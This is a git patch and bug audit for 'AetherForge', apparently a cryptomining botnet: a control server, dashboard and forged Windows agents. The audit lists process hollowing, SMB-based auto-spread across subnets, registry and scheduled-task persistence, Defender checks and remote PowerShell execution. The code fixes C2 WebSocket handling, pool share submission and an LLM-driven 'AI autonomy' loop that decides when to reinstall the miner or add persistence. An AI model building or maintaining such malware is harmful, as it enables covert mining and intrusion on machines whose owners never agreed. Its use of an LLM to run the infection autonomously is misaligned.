From fabc63238413fc857c12b3698bea3de29bee93a8 Mon Sep 17 00:00:00 2001 From: drjones Date: Thu, 28 May 2026 16:23:24 -0700 Subject: [PATCH] Fix build breakers and remaining runtime bugs across stack. Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md. --- PROBLEMS.md | 206 ++++++++------------------- agent/client/ai.go | 25 +++- agent/client/client.go | 5 + server/internal/api/websocket.go | 51 +++++-- server/internal/ollama/engine.go | 2 +- server/web/src/help/forgeDefaults.ts | 3 + server/web/src/hooks/useWebSocket.ts | 13 ++ server/web/src/types/index.ts | 4 + 8 files changed, 146 insertions(+), 163 deletions(-) diff --git a/PROBLEMS.md b/PROBLEMS.md index 3b2e989..a6bb0d5 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,172 +1,84 @@ # AetherForge — Problem Audit -Read-only audit of the repo. Findings grouped by severity for systematic fixes. +Findings grouped by severity. Updated after bug-sweep pass. -**Last verified:** run `go build` in `server/` and `agent/`, `npm run build` in `server/web/`, then double-click `run.bat`. +**Last verified:** `go test ./...` in `server/` and `agent/`, `npm run build` in `server/web/`, double-click `run.bat`. --- -## Fixed in latest pass (run.bat should work) +## Fixed (recent passes) | ID | Fix | |----|-----| -| C1 | Restored `BroadcastServerLog` on `WSHub` | +| C1 | `BroadcastServerLog` on `WSHub` | | C2 | `EncodeToString` in agent download handler | -| C3 | `AgentRemoteActions` accepts legacy `agent` + `compact` props again | -| C4 | Partial — `useWebSocket` exposes `latestMessage`; Agents detail wired | -| C5 | Partial — agent handlers for `ps`, `netstat`, `users`, `software`, `screenshot` | -| C6 | `NewMeshNode(c)` initialized in `NewAgentClient` | -| H13 | `run.bat` exits on frontend build failure | - -**Still open:** C7/C8 auth, H1–H12, M1–M11, L1–L6 — see below. +| C3 | `AgentRemoteActions` legacy props (`agent`, `compact`) | +| C4 | `useWebSocket` `latestMessage` + Agents detail wiring | +| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` | +| C6 | `NewMeshNode(c)` in `NewAgentClient` | +| H1 | WS reconnect: only mark offline if closing conn is still active | +| H2 | WS pre-auth guard on `stats`, `submit_share`, `get_job`, `log_tail`, `command_result` | +| H3 | Share submit via async pool queue + `go proxy.SubmitShare` in read loop | +| H4 | Fleet broadcast `all` fails when zero agents connected | +| H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field | +| H10 | Download uses `EncodeToString` | +| H13 | `run.bat` fails on frontend build error; kills stale server before bind | +| M3 | `stats_update` includes memory, uptime, shares (server + web hook) | +| M5 | Removed blocking 800ms sleep in `GetAgentLog` | +| M8 | `GetEngine` lock pattern simplified | +| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` | +| M11 | Blueprint delete returns boolean `success` | +| — | Deleted corrupt empty `server/internal/ollama/main.go` and root `main.go` (broke `go build`) | +| — | AI shares wired from agent client stats | +| — | Ollama prompt: `reinstall_miner` uses `build_id` | +| — | Forge types/defaults include `process_hollowing`, `mesh_p2p`, `auto_spread` (default false) | --- -## Critical — blocks builds or core functionality +## Still open -### C1. Server does not compile (`BroadcastServerLog` missing) -- **File:** `server/main.go:27` -- **Issue:** `wsLogWriter` calls `w.hub.BroadcastServerLog()`, but that method was removed from `server/internal/api/websocket.go`. -- **Impact:** `go build` fails; `run.bat` cannot produce `bin/miner-server.exe`. +### Critical / security -### C2. Agent does not compile (`EncodeString` typo) -- **File:** `agent/client/client.go:295` -- **Issue:** Uses `base64.StdEncoding.EncodeString(...)` — Go API is `EncodeToString(...)`. -- **Impact:** Forged worker builds fail at compile time. +| ID | Issue | +|----|-------| +| C7 | No authentication on control plane (dashboard REST/WS) | +| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) | -### C3. Frontend TypeScript build broken (remote actions props) -- **Files:** `server/web/src/pages/DashboardPage.tsx:253`, `AgentsPage.tsx:123,222-224` -- **Issue:** `AgentRemoteActions` expects `agentId`, `agentName`, `latestWsMessage`. Pages still pass `agent`, `compact`, `onCommandSent`. -- **Impact:** `npm run build` fails (`tsc && vite build`). +### High (intentional / deploy-time) -### C4. Remote control UI non-functional end-to-end -- Wrong props → `agentId` undefined → `/api/v1/agents/undefined/command` -- `useWebSocket.ts` does not handle `command_result` -- No page passes `latestWsMessage` to `AgentRemoteActions` +| ID | Issue | +|----|-------| +| H9 | `upload_log` returns content in tool report only (no dedicated log ingest API) | +| H11 | `AutoSpread` still runs when baked `true` in forge | +| H12 | Process hollowing available with `-tags hollow` + forge flag | -### C5. Five UI recon actions missing on agent -- **UI:** `screenshot`, `ps`, `netstat`, `users`, `software` in `AgentRemoteActions.tsx` -- **Agent:** only `sysinfo` implemented; others return `"unknown action"` +### Medium / UX -### C6. Mesh P2P → nil pointer if enabled in forge -- **Files:** `agent/client/client.go:65-68`, `376-378`; `NewAgentClient` never sets `c.mesh` -- Builder can bake `MeshP2P: true` but mesh node is never initialized. +| ID | Issue | +|----|-------| +| M1 | Full tactical panel in agent list cards (compact mode exists but list still busy) | +| M4 | Forge UI has no toggles for hollowing/mesh/spread (types/defaults only) | +| M6 | Remote UI offline guard partial (compact checks `agent.status`) | +| M7 | Row click vs button bubbling (compact uses `stopPropagation`) | +| M9 | Fusion icon needs network for `go-winres` at forge time | -### C7. No authentication on control plane -- **Files:** `server/internal/api/router.go`, `websocket.go` -- Open: config PUT, builder, fleet commands, downloads, agent/dashboard WS, AI endpoints -- Anyone on LAN/tunnel can forge, reconfigure, run remote PowerShell, impersonate agents. +### Low -### C8. Unauthenticated remote code execution -- **Files:** `fleet_handler.go` → agent `exec`, `powershell`, `upload` -- No auth, no action whitelist, upload accepts arbitrary paths. +| ID | Issue | +|----|-------| +| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` | +| L2 | Duplicate CSS imports on Dashboard/Agents | +| L3 | Weak typing on WS payloads (`any`) | +| L4 | No integration tests for remote actions | +| L5 | Mesh P2P requires build tag `p2p` for full libp2p | --- -## High — major runtime bugs or security risk +## Verification -### H1. Agent reconnect marks fleet offline incorrectly -- **File:** `websocket.go` — defer on disconnect always `SetAgentOffline`; reconnect overwrites map without closing old conn. - -### H2. WebSocket messages processed before auth -- `stats`, `submit_share`, etc. use `agentID` with no guard when empty. - -### H3. Share submission blocks WebSocket read loop -- **File:** `websocket.go:381-459` — synchronous pool submit on read loop (was async). - -### H4. Fleet broadcast always reports success -- `id == "all"` returns `{success: true}` even with zero connected agents. - -### H5. AI `reinstall_miner` uses agent ID instead of build ID -- **File:** `agent/client/ai.go` — download URL 404s. - -### H6. AI decide ignores HTTP errors -- No `resp.StatusCode` or `"error"` field check in `callDecide`. - -### H7. AI state wrong (uptime ~0, shares hardcoded 0) -- **File:** `agent/client/ai.go:212-221` — `time.Since(time.Now())` bug. - -### H8. AI `sleep` tool parsing broken -- `Sscanf` into `time.Duration` with wrong units. - -### H9. `upload_log` AI tool does not upload to server -- Reads local file only; Ollama prompt still advertises upload. - -### H10. Download command corrupts binary data -- `EncodeString(string(b))` instead of `EncodeToString(b)`. - -### H11. Auto-spread active when baked (`AutoSpread`) -- **Files:** `agent/deploy/autospread.go`, `agent/main.go:59` — SMB/SCM lateral deployment on /24 sweep. - -### H12. Process hollowing in agent main when baked -- **Files:** `agent/main.go:73-86`, `deploy/hollow_windows.go` - -### H13. `run.bat` pipeline fails when server/agent/web do not compile -- Steps 3–4 depend on fixes for C1–C3. - ---- - -## Medium — incomplete features, UX regressions - -### M1. Full tactical panel embedded in agent list cards (no compact mode) -- Dashboard and Agents list render huge remote panel per row. - -### M2. `onCommandSent` / `get_log` flow removed from remote UI -- Agents detail log refresh broken; `get_log` button removed. - -### M3. Live dashboard stats incomplete over WebSocket -- Memory, uptime, shares not in `stats_update` broadcast or hook merge. - -### M4. Forge schema mismatch (backend vs frontend types) -- Backend: `process_hollowing`, `mesh_p2p`, `auto_spread` in `handler.go` -- Frontend `BuildRequest` and Builder UI omit them; help/rules still reference them. - -### M5. Agent log fetch uses fixed 800ms sleep -- **File:** `fleet_handler.go` — blocks handler; often stale. - -### M6. No online/offline guard in new remote UI - -### M7. Click bubbling in agent list (buttons re-select row) - -### M8. `GetEngine` fragile lock pattern in `ai_handler.go` - -### M9. Fusion icon needs network for `go-winres` at forge time - -### M10. CORS `AllowedOrigins: *` with `AllowCredentials: true` - -### M11. Blueprint delete returns `"success": "true"` string - ---- - -## Low — polish and test gaps - -### L1. Dead CSS (`.agent-actions` in `FleetPanels.css`) -### L2. Duplicate CSS imports on Dashboard/Agents pages -### L3. Weak typing on WS payloads (`any`) -### L4. No tests for remote actions or page integration -### L5. `mesh_p2p.go` vs stub; mesh never initialized anyway -### L6. Server log streaming half-removed (`BroadcastServerLog`) - ---- - -## Suggested fix order - -1. C1, C2, C3 — restore compilable server, agent, web -2. C4, C5 — wire remote actions + implement or remove dead buttons -3. C6 — init mesh stub in `NewAgentClient` -4. H3, H1, H2 — async shares, reconnect, pre-auth guard -5. C7, C8 — auth on control plane -6. H5–H10 — AI and download bugs -7. M1–M7 — UX cleanup -8. M4, H11, H12 — align or remove hollowing/spread/mesh - ---- - -## Verification commands - -| Command | Expected after fixes | -|---------|---------------------| -| `cd server && go build .` | PASS | -| `cd agent && go build .` | PASS | -| `cd server/web && npm run build` | PASS | -| `run.bat` | Builds + starts `bin/miner-server.exe` | +```bat +cd server && go test ./... && go build . +cd ..\agent && go test ./... && go build . +cd ..\server\web && npm test && npm run build +run.bat +``` diff --git a/agent/client/ai.go b/agent/client/ai.go index 70248cf..42a3a28 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -68,6 +68,7 @@ type ToolCall struct { type DecideResponse struct { ToolCalls []ToolCall `json:"tool_calls"` Reasoning string `json:"reasoning"` + Error string `json:"error,omitempty"` } // ToolReport is the result of executing a tool call, sent back to the hub. @@ -105,6 +106,7 @@ type AIRunner struct { serverURL string agentID string startedAt time.Time + shareStats func() (submitted, accepted int) stopCh chan struct{} } @@ -208,6 +210,8 @@ func (a *AIRunner) collectState() AgentState { // Check defender state defenderState := a.checkDefender() + sharesTotal, sharesGood, sharesBad := a.shareCounts() + return AgentState{ AgentID: a.agentID, WorkerName: a.cfg.WorkerName, @@ -219,9 +223,9 @@ func (a *AIRunner) collectState() AgentState { MemoryGB: memGB, MemoryUsagePct: memPct, Hashrate15m: hashrate, - SharesTotal: 0, // tracked by pool internally - SharesGood: 0, - SharesBad: 0, + SharesTotal: sharesTotal, + SharesGood: sharesGood, + SharesBad: sharesBad, ProcessName: a.cfg.EffectiveProcessName(), InstallPath: installPath, HasPersistence: hasPersistence, @@ -266,10 +270,25 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) { if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil { return nil, fmt.Errorf("failed to parse decide response: %w", err) } + if decideResp.Error != "" { + return nil, fmt.Errorf("decide error: %s", decideResp.Error) + } return &decideResp, nil } +func (a *AIRunner) shareCounts() (total, good, bad int) { + if a.shareStats != nil { + submitted, accepted := a.shareStats() + bad = submitted - accepted + if bad < 0 { + bad = 0 + } + return submitted, accepted, bad + } + return 0, 0, 0 +} + // executeToolCall executes a single tool call from the LLM. func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { report := ToolReport{ diff --git a/agent/client/client.go b/agent/client/client.go index 0a1f6ca..830ce22 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -58,6 +58,11 @@ func (c *AgentClient) Run() error { // Start AI Autonomy runner if enabled if c.cfg.AIEnabled { c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool) + c.aiRunner.shareStats = func() (int, int) { + c.mu.Lock() + defer c.mu.Unlock() + return c.sharesSubmitted, c.sharesAccepted + } c.aiRunner.Start() defer c.aiRunner.Stop() } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 3c01ef6..2ce88b0 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -187,18 +187,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { defer func() { if agentID != "" { h.mu.Lock() - delete(h.agents, agentID) - delete(h.agentConfigs, agentID) - delete(h.agentLogs, agentID) - h.mu.Unlock() - if h.aiHandler != nil { - h.aiHandler.RemoveEngine(agentID) + cur := h.agents[agentID] + // Only tear down fleet state if this connection is still the active one. + if cur != nil && cur.Conn == conn { + delete(h.agents, agentID) + delete(h.agentConfigs, agentID) + delete(h.agentLogs, agentID) + h.mu.Unlock() + if h.aiHandler != nil { + h.aiHandler.RemoveEngine(agentID) + } + h.db.SetAgentOffline(agentID) + h.broadcastDashboard(Message{ + Type: "agent_offline", + Payload: mustMarshal(map[string]string{"agent_id": agentID}), + }) + } else { + h.mu.Unlock() } - h.db.SetAgentOffline(agentID) - h.broadcastDashboard(Message{ - Type: "agent_offline", - Payload: mustMarshal(map[string]string{"agent_id": agentID}), - }) } conn.Close() }() @@ -328,6 +334,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } h.mu.Lock() + if old, ok := h.agents[agentID]; ok && old.Conn != conn { + oldConn := old.Conn + h.mu.Unlock() + oldConn.Close() + h.mu.Lock() + } h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn} h.mu.Unlock() @@ -342,6 +354,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { }) case "stats": + if agentID == "" { + continue + } var stats struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` @@ -383,6 +398,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { }) case "submit_share": + if agentID == "" { + continue + } var share models.Share if err := json.Unmarshal(msg.Payload, &share); err != nil { continue @@ -460,9 +478,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { wallet = h.defaultPool.Wallet } - proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) + go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) case "get_job": + if agentID == "" { + continue + } var proxy *pool.Proxy if h.poolManager != nil { poolCfg := h.agentPoolConfig(agentID) @@ -485,6 +506,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } case "log_tail": + if agentID == "" { + continue + } var payload struct { Content string `json:"content"` Lines int `json:"lines"` @@ -501,6 +525,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { }) case "command_result": + if agentID == "" { + continue + } var payload map[string]interface{} if err := json.Unmarshal(msg.Payload, &payload); err != nil { continue diff --git a/server/internal/ollama/engine.go b/server/internal/ollama/engine.go index 56fb98b..3821eb7 100644 --- a/server/internal/ollama/engine.go +++ b/server/internal/ollama/engine.go @@ -289,7 +289,7 @@ Args: {"process_name": "name of the miner process"} ### reinstall_miner Reinstall the miner from the control server. -Args: {"server_url": "control server URL", "agent_id": "this agent's ID"} +Args: {"server_url": "control server URL", "build_id": "forge build ID baked into the agent"} ### add_persistence Add persistence via scheduled task or registry run key. diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 07dc57c..4813fec 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -38,6 +38,9 @@ export const FORGE_BUILD_DEFAULTS: Omit< ai_enabled: false, ai_ollama_endpoint: 'http://localhost:11434', ai_model: 'llama3.2', + process_hollowing: false, + mesh_p2p: false, + auto_spread: false, }; export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { diff --git a/server/web/src/hooks/useWebSocket.ts b/server/web/src/hooks/useWebSocket.ts index 1fdb4d9..dfbf70b 100644 --- a/server/web/src/hooks/useWebSocket.ts +++ b/server/web/src/hooks/useWebSocket.ts @@ -92,6 +92,10 @@ export function useWebSocket(): UseWebSocketReturn { hashrate_1m: number; hashrate_15m: number; cpu_usage_pct: number; + memory_usage_pct?: number; + uptime_seconds?: number; + shares_submitted?: number; + shares_accepted?: number; }; setAgents((prev) => prev.map((a) => @@ -102,6 +106,15 @@ export function useWebSocket(): UseWebSocketReturn { hashrate_1m: update.hashrate_1m, hashrate_15m: update.hashrate_15m, cpu_usage_pct: update.cpu_usage_pct, + memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct, + uptime_seconds: update.uptime_seconds ?? a.uptime_seconds, + shares_total: update.shares_submitted ?? a.shares_total, + shares_good: update.shares_accepted ?? a.shares_good, + shares_bad: Math.max( + 0, + (update.shares_submitted ?? a.shares_total) - + (update.shares_accepted ?? a.shares_good) + ), } : a ) diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 67acb70..bfcb261 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -240,6 +240,10 @@ export interface BuildRequest { ai_enabled: boolean; ai_ollama_endpoint: string; ai_model: string; + // Advanced (off by default — enable only on owned/administered fleets) + process_hollowing?: boolean; + mesh_p2p?: boolean; + auto_spread?: boolean; } export interface BuildResponse {